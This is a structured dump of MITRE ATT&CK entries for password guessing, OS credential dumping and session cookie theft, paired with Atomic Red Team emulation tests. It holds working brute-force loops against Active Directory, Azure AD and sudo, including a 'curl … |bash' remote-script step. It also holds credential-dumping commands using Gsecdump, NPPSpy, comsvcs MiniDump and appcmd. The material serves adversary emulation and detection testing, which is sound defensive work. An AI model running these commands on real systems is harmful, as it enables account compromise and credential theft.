modified: '2023-10-16T16:57:41.743Z' name: 'Brute Force: Password Guessing' description: |- Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Microsoft Threat Intelligence Center (MSTIC) - Mohamed Kmal x_mitre_deprecated: false x_mitre_detection: Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '1.5' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119 created: '2020-02-11T18:38:22.617Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1110/001 external_id: T1110.001 - source_name: Trend Micro Emotet 2020 description: Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022. url: https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi - source_name: Cylance Cleaver description: Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017. url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf - source_name: US-CERT TA18-068A 2018 description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019. url: https://www.us-cert.gov/ncas/alerts/TA18-086A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1110.001 atomic_tests: - name: Brute Force Credentials of single Active Directory domain users via SMB auto_generated_guid: '09480053-2f98-4854-be6e-71ae5f672224' description: 'Attempts to brute force a single Active Directory account by testing connectivity to the IPC$ share on a domain controller ' supported_platforms: - windows input_arguments: user: description: Account to bruteforce type: string default: "%username%" executor: name: command_prompt command: | echo Password1> passwords.txt echo 1q2w3e4r>> passwords.txt echo Password!>> passwords.txt echo Spring2022>> passwords.txt echo ChangeMe!>> passwords.txt @FOR /F "delims=" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\#{user}" "%p" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL - name: Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos) auto_generated_guid: c2969434-672b-4ec8-8df0-bbb91f40e250 description: 'Attempt to brute force Active Directory domain user on a domain controller, via LDAP, with NTLM or Kerberos ' supported_platforms: - windows input_arguments: user: description: Account to bruteforce type: string default: "$ENV:USERNAME" passwords_path: description: List of passwords we will attempt to brute force with type: path default: PathToAtomicsFolder\T1110.001\src\passwords.txt domain: description: Active Directory domain FQDN type: string default: "$env:UserDnsDomain" auth: description: authentication method to choose between "NTLM" and "Kerberos" type: string default: NTLM executor: name: powershell elevation_required: false command: | if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) { Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported" exit 1 } [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null $di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389) $passwordList = Get-Content -Path "#{passwords_path}" foreach ($password in $passwordList){ $credz = new-object System.Net.NetworkCredential("#{user}", $password, "#{domain}") $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth}) try { Write-Host " [-] Attempting ${password} on account #{user}." $conn.bind() # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success Write-Host " [!] #{user}:${password} are valid credentials!" } catch { Write-Host $_.Exception.Message } } Write-Host "End of bruteforce" - name: Brute Force Credentials of single Azure AD user auto_generated_guid: 5a51ef57-299e-4d62-8e11-2d440df55e69 description: 'Attempt to brute force Azure AD user via AzureAD powershell module. ' supported_platforms: - azure-ad input_arguments: username: description: Account to bruteforce. We encourage users running this atomic to add a valid microsoft account domain; for eg "bruce.wayne@" type: string default: bruce.wayne@contoso.com passwords: description: List of passwords we will attempt to brute force with type: string default: Password1`n1q2w3e4r`nPassword! dependency_executor_name: powershell dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: name: powershell elevation_required: false command: | Import-Module -Name AzureAD $passwords = "#{passwords}".split("{`n}") foreach($password in $passwords) { $PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword try { Write-Host " [-] Attempting ${password} on account #{username}." Connect-AzureAD -Credential $Credential 2>&1> $null # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success Write-Host " [!] #{username}:${password} are valid credentials!`r`n" break } catch { Write-Host " [-] #{username}:${password} invalid credentials.`r`n" } } Write-Host "End of bruteforce" - name: Password Brute User using Kerbrute Tool auto_generated_guid: 59dbeb1a-79a7-4c2a-baf4-46d0f4c761c4 description: 'Bruteforce a single user''s password from a wordlist ' supported_platforms: - windows input_arguments: domaincontroller: description: Domain controller where test will be run type: string default: "$ENV:userdnsdomain" domain: description: Domain where you will be testing type: string default: "$ENV:userdomain" dependency_executor_name: powershell dependencies: - description: 'kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe" - description: 'bruteuser.txt must exist in PathToAtomicsFolder\..\ExternalPayloads ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\bruteuser.txt"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/src/bruteuser.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\bruteuser.txt" executor: name: powershell elevation_required: false command: "cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\\bruteuser.txt TestUser1 \n" - name: SUDO Brute Force - Debian auto_generated_guid: ba1bf0b6-f32b-4db0-b7cc-d78cacc76700 description: "An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. \n\nThis test creates the \"art\" user with a password of \"password123\", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user\n" supported_platforms: - linux input_arguments: remote_url: description: url of remote payload type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh dependency_executor_name: bash dependencies: - description: 'Check if running on a Debian based machine. ' prereq_command: | if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then echo "Debian"; else echo "NOT Debian"; exit 1; fi if grep -Rq "pam_tally" /etc/pam.d/*; then echo "pam_tally configured"; exit 1; fi if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi get_prereq_command: 'apt update && apt install -y openssl sudo curl ' executor: name: bash elevation_required: true command: | useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art su art cd /tmp curl -s #{remote_url} |bash cleanup_command: 'userdel -fr art ' - name: SUDO Brute Force - Redhat auto_generated_guid: 4097bc00-5eeb-4d56-aaf9-287d60351d95 description: "An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. \n\nThis test creates the \"art\" user with a password of \"password123\", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user\n" supported_platforms: - linux input_arguments: remote_url: description: url of remote payload type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh dependency_executor_name: bash dependencies: - description: 'Check if running on a Redhat based machine. ' prereq_command: | if grep -iq "rhel\|fedora\|centos" /usr/lib/os-release; then echo "RedHat"; else echo "NOT RedHat"; exit 1; fi if grep -Rq "pam_faillock" /etc/pam.d/*; then echo "pam_faillock configured"; exit 1; fi if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi get_prereq_command: 'yum update && yum install -y openssl sudo curl ' executor: name: bash elevation_required: true command: | useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art su art cd /tmp curl -s #{remote_url} |bash cleanup_command: 'userdel -fr art ' - name: SUDO Brute Force - FreeBSD auto_generated_guid: abcde488-e083-4ee7-bc85-a5684edd7541 description: "An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. \n\nThis test creates the \"art\" user with a password of \"password123\", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user\n" supported_platforms: - linux input_arguments: remote_url: description: url of remote payload type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh dependency_executor_name: sh dependencies: - description: 'Check if running on a FreeBSD based machine. ' prereq_command: | if grep -iq "FreeBSD" /etc/os-release; then echo "FreeBSD"; else echo "NOT FreeBSD"; exit 1; fi if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi if [ -x "$(command -v bash)" ]; then echo "bash is installed"; else echo "bash is NOT installed"; exit 1; fi get_prereq_command: 'pkg update && pkg install -y sudo curl bash ' executor: name: bash elevation_required: true command: | pw adduser art -g wheel -s /bin/sh echo "password123" | pw usermod art -h 0 su art cd /tmp curl -s #{remote_url} |bash cleanup_command: 'rmuser -y art ' - name: ESXi - Brute Force Until Account Lockout auto_generated_guid: ed6c2c87-bba6-4a28-ac6e-c8af3d6c2ab5 description: | An adversary may attempt to brute force the password of privilleged account for privilege escalation. In the process, the TA may lock the account, which can be used for detection. [Reference](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/#:~:text=A%20ransomware%20group%20attacking%20large,internal%20systems%20after%20establishing%20a) supported_platforms: - windows input_arguments: vm_host: description: Specify the host name of the ESXi Server type: string default: atomic.local plink_file: description: Path to Putty type: path default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe lockout_threshold: description: Specify the account lockout threshold configured on the ESXI management server type: string default: '5' dependency_executor_name: powershell dependencies: - description: 'The plink executable must be found in the ExternalPayloads folder. ' prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}" executor: command: | $lockout_threshold = [int]"#{lockout_threshold}" for ($var = 1; $var -le $lockout_threshold; $var++) { #{plink_file} -ssh "#{vm_host}" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002 } name: powershell elevation_required: false T1003: technique: modified: '2024-04-18T23:47:41.667Z' name: OS Credential Dumping description: | Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Vincent Le Toux - Ed Williams, Trustwave, SpiderLabs - Tim (Wadhwa-)Brown - Yves Yonan x_mitre_deprecated: false x_mitre_detection: "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc//maps`, where the `` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS x_mitre_version: '2.2' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Process: Process Creation' - 'Network Traffic: Network Traffic Flow' - 'File: File Creation' - 'Windows Registry: Windows Registry Key Access' - 'Process: OS API Execution' - 'File: File Access' - 'Process: Process Access' - 'Command: Command Execution' - 'Active Directory: Active Directory Object Access' type: attack-pattern id: attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22 created: '2017-05-31T21:30:19.735Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1003 external_id: T1003 - source_name: Medium Detecting Attempts to Steal Passwords from Memory description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea - source_name: AdSecurity DCSync Sept 2015 description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017. url: https://adsecurity.org/?p=1729 - source_name: Microsoft DRSR Dec 2017 description: Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017. url: https://msdn.microsoft.com/library/cc228086.aspx - source_name: Microsoft NRPC Dec 2017 description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017. url: https://msdn.microsoft.com/library/cc237008.aspx - source_name: Microsoft GetNCCChanges description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017. url: https://msdn.microsoft.com/library/dd207691.aspx - source_name: Microsoft SAMR description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017. url: https://msdn.microsoft.com/library/cc245496.aspx - source_name: Powersploit description: PowerSploit. (n.d.). Retrieved December 4, 2014. url: https://github.com/mattifestation/PowerSploit - source_name: Samba DRSUAPI description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017. url: https://wiki.samba.org/index.php/DRSUAPI - source_name: Harmj0y DCSync Sept 2015 description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017. url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ - source_name: Brining MimiKatz to Unix description: Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021. url: https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1003 atomic_tests: - name: Gsecdump auto_generated_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9 description: "Dump credentials from memory using Gsecdump.\n\nUpon successful execution, you should see domain\\username's followed by two 32 character hashes.\n\nIf you see output that says \"compat: error: failed to create child process\", execution was likely blocked by Anti-Virus. \nYou will receive only error output if you do not run this test from an elevated context (run as administrator)\n\nIf you see a message saying \"The system cannot find the path specified\", try using the get-prereq_commands to download and install Gsecdump first.\n" supported_platforms: - windows input_arguments: gsecdump_exe: description: Path to the Gsecdump executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe gsecdump_bin_hash: description: File hash of the Gsecdump binary file type: string default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC gsecdump_url: description: Path to download Gsecdump binary file type: url default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe dependency_executor_name: powershell dependencies: - description: 'Gsecdump must exist on disk at specified location (#{gsecdump_exe}) ' prereq_command: 'if (Test-Path "#{gsecdump_exe}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe" IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing) if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){ Move-Item $binpath "#{gsecdump_exe}" } executor: command: '"#{gsecdump_exe}" -a ' name: command_prompt elevation_required: true - name: Credential Dumping with NPPSpy auto_generated_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6 description: |- Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy. After user's logging in cleartext password is saved in C:\NPPSpy.txt. Clean up deletes the files and reverses Registry changes. NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: NPPSpy.dll must be available in ExternalPayloads directory prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll") {exit 0} else {exit 1} get_prereq_command: |- [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" executor: command: |- Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32" $path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER $UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy" Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt" cleanup_command: "$cleanupPath = Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\" -Name PROVIDERORDER\n$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER \n$cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''\nSet-ItemProperty -Path $cleanupPath.PSPath -Name \"PROVIDERORDER\" -Value $cleanupUpdatedValue\nRemove-Item -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\" -Recurse -ErrorAction Ignore\nRemove-Item C:\\NPPSpy.txt -ErrorAction Ignore\nRemove-Item C:\\Windows\\System32\\NPPSpy.dll -ErrorAction Ignore" name: powershell elevation_required: true - name: Dump svchost.exe to gather RDP credentials auto_generated_guid: d400090a-d8ca-4be0-982e-c70598a23de9 description: | The svchost.exe contains the RDP plain-text credentials. Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/ Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp. supported_platforms: - windows executor: command: | $ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore) if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id } C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full cleanup_command: 'Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore ' name: powershell elevation_required: true - name: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list) auto_generated_guid: 6c7a4fd3-5b0b-4b30-a93e-39411b25d889 description: |- AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes. [Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA) supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: IIS must be installed prior to running the test prereq_command: if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1} get_prereq_command: Install-WindowsFeature -name Web-Server -IncludeManagementTools executor: command: |- C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:* C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:* C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:* name: powershell elevation_required: true - name: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config) auto_generated_guid: 42510244-5019-48fa-a0e5-66c3b76e6049 description: |- AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes. [Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA) supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: IIS must be installed prior to running the test prereq_command: if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1} get_prereq_command: Install-WindowsFeature -name Web-Server -IncludeManagementTools executor: command: C:\Windows\System32\inetsrv\appcmd.exe list apppool /config name: powershell elevation_required: true - name: Dump Credential Manager using keymgr.dll and rundll32.exe auto_generated_guid: 84113186-ed3c-4d0d-8a3c-8980c86c1f4a description: |- This test executes the exported function `KRShowKeyMgr` located in `keymgr.dll` using `rundll32.exe`. It opens a window that allows to export stored Windows credentials from the credential manager to a file (`.crd` by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remote control capabilities, enabling RDP, etc.). Reference: https://twitter.com/0gtweet/status/1415671356239216653 supported_platforms: - windows executor: command: rundll32.exe keymgr,KRShowKeyMgr name: powershell - name: Send NTLM Hash with RPC Test Connection auto_generated_guid: 0b207037-813c-4444-ac3f-b597cf280a67 description: "RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. \nRef: https://twitter.com/vysecurity/status/974806438316072960" supported_platforms: - windows input_arguments: custom_port: description: Specify the custom port number type: integer default: '1234' server_ip: description: Specify the server IP address. If not specified, the loop back IP will be used type: string default: 127.0.0.1 executor: command: 'rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null' name: powershell elevation_required: false T1539: technique: modified: '2024-04-16T12:56:56.861Z' name: Steal Web Session Cookie description: |- An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application. kill_chain_phases: - kill_chain_name: mitre-attack 